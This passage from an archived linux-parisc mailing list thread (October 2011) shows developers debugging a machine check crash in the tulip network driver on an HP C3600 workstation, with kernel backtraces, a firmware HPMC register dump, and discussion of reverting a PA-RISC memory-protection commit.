	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDqU9-0002Qi-Sw
	for glpp-linux-parisc@lo.gmane.org; Wed, 12 Oct 2011 06:32:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751958Ab1JLEcF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Oct 2011 00:32:05 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:43012 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751798Ab1JLEcE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Oct 2011 00:32:04 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26925)
	id 13C8E49400A; Tue, 11 Oct 2011 22:32:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3968>

On Tue, Sep 27, 2011 at 09:32:37AM +0200, Rolf Eike Beer wrote:
> I'm running the CMake tests every night. This is the second time in a row
> that my C3600 did not survive this. Since I was warned I connected a
> serial console.
...

> But then the machine got killed:
> 
> Backtrace:
>  [<1030b9ec>] tulip_get_stats+0x34/0x5c
>  [<1038ac20>] dev_get_stats+0x98/0xe8
>  [<102946b4>] led_work_func+0x11c/0x310
>  [<10145204>] process_one_work+0x120/0x3ac
>  [<10147110>] worker_thread+0x174/0x338
>  [<1014b0b4>] kthread+0x9c/0xa4
>  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24
> 
> 
> High Priority Machine Check (HPMC): Code=1 regs=10551080 (Addr=00000000)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  0004ff0e 105bf000 1030b9ec 2fc72000
> r04-07  0000000f 00000000 00000000 00000000
> r08-11  2fc72000 105bf600 2fea4208 7f000000
> r12-15  2fea4210 105ba000 10544000 2fc2f408
> r16-19  1041d1dc f000017c f0000174 2fea4210
> r20-23  0099f055 0099f050 1030b9b8 00000000
> r24-27  2ff57008 2fea4210 0004a040 10544000
> r28-31  0004a040 f68e066d 2fea4400 1038ac20
> sr00-03  00000000 00000000 00000000 00000017
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10284394 10284398
>  IIR: 0f80109c    ISR: a627ffd0  IOR: 0204a040
>  CPU:        0   CR30: 2fea4000 CR31: ffffdffe
>  ORIG_R28: 00000000
>  IAOQ[0]: ioread32+0xc/0x4c

Usually the HMPC means tulip tried to read something
from MMIO space that didn't respond and this
resulted in a "Master Abort" (PCI bus controller
had to abort the transaction). On PCs that's not
fatal but is on many RISC architectures.

If you can decode the instruction pointer (ioread32+0x10) to figure out
which register is used to dereference the MMIO address, it would
be obvious what the offending address is - just to confirm the
pointer isn't pointing off into the weeds. It will be one of the
registers that contains a 0xfnnnnnnn address.

Also possible is something before already offended the SBA 
("System Bus Adapter" : has IOMMU and mem controller in it)
by trying to DMA to an unmapped address. SBA is "fatal"
at that point and the next MMIO read causes the CPU to
recognize the fatal state of the SBA. Decoding the HPMC (see
below) can help determine that.


>  IAOQ[1]: ioread32+0x10/0x4c
>  RP(r2): tulip_get_stats+0x34/0x5c
> Backtrace:
>  [<1030b9ec>] tulip_get_stats+0x34/0x5c
>  [<1038ac20>] dev_get_stats+0x98/0xe8
>  [<102946b4>] led_work_func+0x11c/0x310
>  [<10145204>] process_one_work+0x120/0x3ac
>  [<10147110>] worker_thread+0x174/0x338
>  [<1014b0b4>] kthread+0x9c/0xa4
>  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24
> 
> Kernel panic - not syncing: High Priority Machine Check (HPMC)
> Backtrace:
>  [<1010edec>] panic+0x90/0x23c
>  [<101143b8>] parisc_terminate+0xbc/0xd4
>  [<1011458c>] handle_interruption+0x1bc/0x718
>  [<10103078>] intr_check_sig+0x0/0x34
>  [<10284398>] ioread32+0x10/0x4c
>  [<103e8fc0>] bictcp_acked+0x0/0x228
> 
> I'm running 3.0.4 with d7dd2ff11b7fcd425aca5a875983c862d19a67ae reverted.
> 
> Any hints?

Interrupt the boot process and collect the HPMC dump as described:
   http://www.parisc-linux.org/faq/kernelbug-howto.html> 

The output will include the offending address that the ioread32 was
trying to access to confirm the instruction was decoded correctly.
If anyone has access to the magic decoder ring, we might be able to tell more.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 12 Oct 2011 09:26:39 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
References: <201108191958.35802.eike-kernel@sf-tec.de>
    <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
    <20110831154820.GH22818@bombadil.infradead.org>
    <20110831160419.GI22818@bombadil.infradead.org>
    <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
    <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
    <20110906134611.GA25825@bombadil.infradead.org>
    <20110906140029.GB25825@bombadil.infradead.org>
    <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
    <20110906142025.GC25825@bombadil.infradead.org>
    <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1318404411 17340 80.91.229.12 (12 Oct 2011 07:26:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 12 Oct 2011 07:26:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 12 09:26:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDtDB-0000Vj-MS
	for glpp-linux-parisc@lo.gmane.org; Wed, 12 Oct 2011 09:26:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751040Ab1JLH0m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Oct 2011 03:26:42 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:50986 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750791Ab1JLH0l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Oct 2011 03:26:41 -0400
Original-Received: (qmail 19246 invoked by uid 81); 12 Oct 2011 07:26:39 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 12 Oct 2011 09:26:39 +0200
In-Reply-To: <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3969>

>> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
>>> It's possible that one of the flushing patches is to blame; I just
>>> can't
>>> see how.  Most likely is
>>>
>>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
>>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
>>> Date:   Thu Apr 14 18:25:21 2011 -0500
>>>
>>>     [PARISC] only make executable areas executable
>>>
>>
>> This looks promising, the second commit doesn't touch the flush_*_local,
>> so I think it's probably not a candidate.
>>
>> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
>> what happens?
>
> What happens is that the system boots and from a first glance seems to
> work fine.

James, are you going to revert that commit? Or am I the only one that is
seeing this?

Greetings,

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 3.0.3: swapper (pid 0): Protection id trap
 (code 7)
Date: Wed, 12 Oct 2011 08:41:41 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1318426901.3027.6.camel@dabdike.int.hansenpartnership.com>
References: <201108191958.35802.eike-kernel@sf-tec.de>
	 <a53708ae6c6247c7ce45d4e5b8131ea7.squirrel@webmail.sf-mail.de>
	 <20110831154820.GH22818@bombadil.infradead.org>
	 <20110831160419.GI22818@bombadil.infradead.org>
	 <65eae6bb26716d64e7f5959302b26fa9.squirrel@webmail.sf-mail.de>
	 <74797e028a4c070f42df834f9b0b0079.squirrel@webmail.sf-mail.de>
	 <20110906134611.GA25825@bombadil.infradead.org>
	 <20110906140029.GB25825@bombadil.infradead.org>
	 <1315318507.6567.2.camel@dabdike.int.hansenpartnership.com>
	 <20110906142025.GC25825@bombadil.infradead.org>
	 <bae45ceac5dc55d07fb5ab64243b85bc.squirrel@webmail.sf-mail.de>
	 <98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1318426909 9061 80.91.229.12 (12 Oct 2011 13:41:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 12 Oct 2011 13:41:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 12 15:41:45 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RDz45-0000Ea-Ad
	for glpp-linux-parisc@lo.gmane.org; Wed, 12 Oct 2011 15:41:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753220Ab1JLNlo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Oct 2011 09:41:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36213 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753323Ab1JLNlo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Oct 2011 09:41:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A5D048EE07C;
	Wed, 12 Oct 2011 06:41:43 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id bjsryx+z1B+x; Wed, 12 Oct 2011 06:41:43 -0700 (PDT)
Original-Received: from [192.168.2.11] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1C2ED8EE06E;
	Wed, 12 Oct 2011 06:41:43 -0700 (PDT)
In-Reply-To: <98cf8455f773aecf8ae811a810ff7844.squirrel@webmail.sf-mail.de>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3970>

On Wed, 2011-10-12 at 09:26 +0200, Rolf Eike Beer wrote:
> >> On Tue, Sep 06, 2011 at 09:15:07AM -0500, James Bottomley wrote:
> >>> It's possible that one of the flushing patches is to blame; I just
> >>> can't
> >>> see how.  Most likely is
> >>>
> >>> commit d7dd2ff11b7fcd425aca5a875983c862d19a67ae
> >>> Author: James Bottomley <James.Bottomley@HansenPartnership.com>
> >>> Date:   Thu Apr 14 18:25:21 2011 -0500
> >>>
> >>>     [PARISC] only make executable areas executable
> >>>
> >>
> >> This looks promising, the second commit doesn't touch the flush_*_local,
> >> so I think it's probably not a candidate.
> >>
> >> Rolf, can you revert d7dd2ff11b7fcd425aca5a875983c862d19a67ae and see
> >> what happens?
> >
> > What happens is that the system boots and from a first glance seems to
> > work fine.
> 
> James, are you going to revert that commit? Or am I the only one that is
> seeing this?

You're the only one whose seeing this.  It works 32 bit on my C360, so I
really need to know why and I don't seem to have a means to debug if
it's C3600 only.  If I revert that commit, we start segfaulting again.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC running CMake Nightly tests
Date: Mon, 17 Oct 2011 09:18:19 +0200
Lines: 265
Approved: news@gmane.org
Message-ID: <335757fae9d67623b229652e74aba015.squirrel@webmail.sf-mail.de>
References: <d21336a9332d91f209ba666bd94f3acd.squirrel@webmail.sf-mail.de>
    <20111012043201.GA22657@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1318835908 29509 80.91.229.12 (17 Oct 2011 07:18:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 07:18:28 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 09:18:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFhSp-0007qZ-CY
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 09:18:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752193Ab1JQHSW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 03:18:22 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41387 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751806Ab1JQHSV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 03:18:21 -0400
Original-Received: (qmail 28077 invoked by uid 81); 17 Oct 2011 07:18:19 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 17 Oct 2011 09:18:19 +0200
In-Reply-To: <20111012043201.GA22657@parisc-linux.org>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3971
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3971>

> On Tue, Sep 27, 2011 at 09:32:37AM +0200, Rolf Eike Beer wrote:
>> I'm running the CMake tests every night. This is the second time in a
>> row
>> that my C3600 did not survive this. Since I was warned I connected a
>> serial console.
> ...
>
>> But then the machine got killed:
>>
>> Backtrace:
>>  [<1030b9ec>] tulip_get_stats+0x34/0x5c
>>  [<1038ac20>] dev_get_stats+0x98/0xe8
>>  [<102946b4>] led_work_func+0x11c/0x310
>>  [<10145204>] process_one_work+0x120/0x3ac
>>  [<10147110>] worker_thread+0x174/0x338
>>  [<1014b0b4>] kthread+0x9c/0xa4
>>  [<10102c5c>] ret_from_kernel_thread+0x1c/0x24
>>
>>
>> High Priority Machine Check (HPMC): Code=1 regs=10551080 (Addr=00000000)
>>
>>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> PSW: 00000000000001001111111100001110 Not tainted
>> r00-03  0004ff0e 105bf000 1030b9ec 2fc72000
>> r04-07  0000000f 00000000 00000000 00000000
>> r08-11  2fc72000 105bf600 2fea4208 7f000000
>> r12-15  2fea4210 105ba000 10544000 2fc2f408
>> r16-19  1041d1dc f000017c f0000174 2fea4210
>> r20-23  0099f055 0099f050 1030b9b8 00000000
>> r24-27  2ff57008 2fea4210 0004a040 10544000
>> r28-31  0004a040 f68e066d 2fea4400 1038ac20
>> sr00-03  00000000 00000000 00000000 00000017
>> sr04-07  00000000 00000000 00000000 00000000
>>
>> IASQ: 00000000 00000000 IAOQ: 10284394 10284398
>>  IIR: 0f80109c    ISR: a627ffd0  IOR: 0204a040
>>  CPU:        0   CR30: 2fea4000 CR31: ffffdffe
>>  ORIG_R28: 00000000
>>  IAOQ[0]: ioread32+0xc/0x4c
>
> Usually the HMPC means tulip tried to read something
> from MMIO space that didn't respond and this
> resulted in a "Master Abort" (PCI bus controller
> had to abort the transaction). On PCs that's not
> fatal but is on many RISC architectures.
>
> If you can decode the instruction pointer (ioread32+0x10) to figure out
> which register is used to dereference the MMIO address, it would
> be obvious what the offending address is - just to confirm the
> pointer isn't pointing off into the weeds. It will be one of the
> registers that contains a 0xfnnnnnnn address.

I will have a look.

> Interrupt the boot process and collect the HPMC dump as described:
>    http://www.parisc-linux.org/faq/kernelbug-howto.html>
>
> The output will include the offending address that the ioread32 was
> trying to access to confirm the instruction was decoded correctly.
> If anyone has access to the magic decoder ring, we might be able to tell
> more.

-----------------  Processor 0 HPMC Information ------------------

Timestamp =
  Fri Oct  14 12:18:23 GMT 2011    (20:11:10:14:12:18:23)

HPMC Chassis Codes = 2cbf0  2500b  2cbfb

General Registers 0 - 31
00-03   0000000000000000  00000000105bf000  000000001030bbd4 
000000002fc26000
04-07   000000000000000f  0000000000000000  0000000000000000 
0000000000000000
08-11   000000002fc26000  00000000105bf600  000000002fc50208 
000000007f000000
12-15   000000002fc50210  00000000105ba000  0000000010544000 
000000002fc2e628
16-19   000000001041d1dc  00000000f000017c  00000000f0000174 
000000002fc50210
20-23   000000000209f184  000000000209f17f  000000001030bba0 
0000000000000000
24-27   000000000000f424  000000002fc50210  000000000004a040 
0000000010544000
28-31   000000000004a040  0000000000000000  000000002fc50400 
000000001038ae40

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
08-11   000000000000006e  0000000000000000  00000000000000c0 
000000000000003d
12-15   0000000000000000  0000000000000000  0000000000102000 
00000000fe000000
16-19   000044dd642070fc  0000000000000000  0000000010284504 
000000000f80109c
20-23   00000000a627ffd0  000000000204a040  000000ff0004fc0e 
0000000080000000
24-27   0000000000594000  000000011df90000  00000000fffff5f7 
00000000fffffdfe
28-31   00000000fffff7f4  00000000fffff7f6  000000002fc50000 
00000000ffffdffe
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000037
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000010284508
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff4008040
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000 
0000000000000000
04-07   41bf636000000000  41bf636000000000  00000002625a0000 
0000000000000000
08-11   0000000000000000  1059900010544330  0000000000000000 
105fbd602fde70c8
12-15   ffffffffad401040  ffffddb6f5fc38f8  fffffffffdfc38d0 
fffffffff5fc3ad0
16-19   ffffff8effffffff  ffffffcff5fc3ad0  ffffffb3f1dc38c0 
ffffffff21041800
20-23   ffffffffa5401040  fffffffff5fc38d0  0000000000000000 
0000000100000000
24-27   0000000000000000  0000000000090a6e  0000000000000015 
1029358c102c3a38
28-31   ffffffff0000313d  1055f1d010544000  0000000100000228 
2fc302001011a234

'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0301000000000004
CPU Status Register 0        = 0x2420c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x4b023fd9e8190951
Read Short LOG               = 0xc1af00fff4008040
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffff0a000c00


HPMC PIM Analysis Information:

Timestamp =
  Fri Oct  14 12:18:23 GMT 2011    (20:11:10:14:12:18:23)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/12/0 (built-in PCI
device).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000 
0000000000000000

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000 
0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


I/O Module Error Log Information:

Timestamp =
  Fri Oct  14 12:18:23 GMT 2011    (20:11:10:14:12:18:23)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc2a9   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc009   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 17 Oct 2011 17:23:58 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20111017152358.GA3518@glitch>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1318865054 9671 80.91.229.12 (17 Oct 2011 15:24:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Oct 2011 15:24:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
	kyle@mcmartin.ca, deller@gmx.de, carlos@systemhalted.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 17 17:24:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RFp2t-0007YH-DL
	for glpp-linux-parisc@lo.gmane.org; Mon, 17 Oct 2011 17:24:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752107Ab1JQPYG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Oct 2011 11:24:06 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:50343 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751171Ab1JQPYF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Oct 2011 11:24:05 -0400
Original-Received: by eye27 with SMTP id 27so3067371eye.19
        for <linux-parisc@vger.kernel.org>; Mon, 17 Oct 2011 08:24:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=JEgDBnRhXaOHE5S7kVX5VC15wdrru3u3CYnhuYBOwsM=;
        b=CC9wpz/B4nC2UAdE4cxWfezajqRFSLu4j1AFxBEfQr2aTyUzFRT/sXkFHpuNwMmcl1
         5sVKwhJB9mvWhChoWGNgNdyDD4AAkfx857tUs5FrwIsqSKObjKcmGjFwLrKYwtEKBsH/
         KJOwd/2GT/o/MGkWPn5+vAsGKE5Sv3j7UIeR8=
Original-Received: by 10.213.10.196 with SMTP id q4mr2308136ebq.111.1318865043757;
        Mon, 17 Oct 2011 08:24:03 -0700 (PDT)
Original-Received: from glitch (j48213.upc-j.chello.nl. [24.132.48.213])
        by mx.google.com with ESMTPS id o4sm30376299eeb.0.2011.10.17.08.24.00
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 17 Oct 2011 08:24:02 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 76CD3BA04C8; Mon, 17 Oct 2011 17:23:58 +0200 (CEST)
Mail-Followup-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org, jejb@parisc-linux.org,
	kyle@mcmartin.ca, deller@gmx.de, carlos@systemhalted.org,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
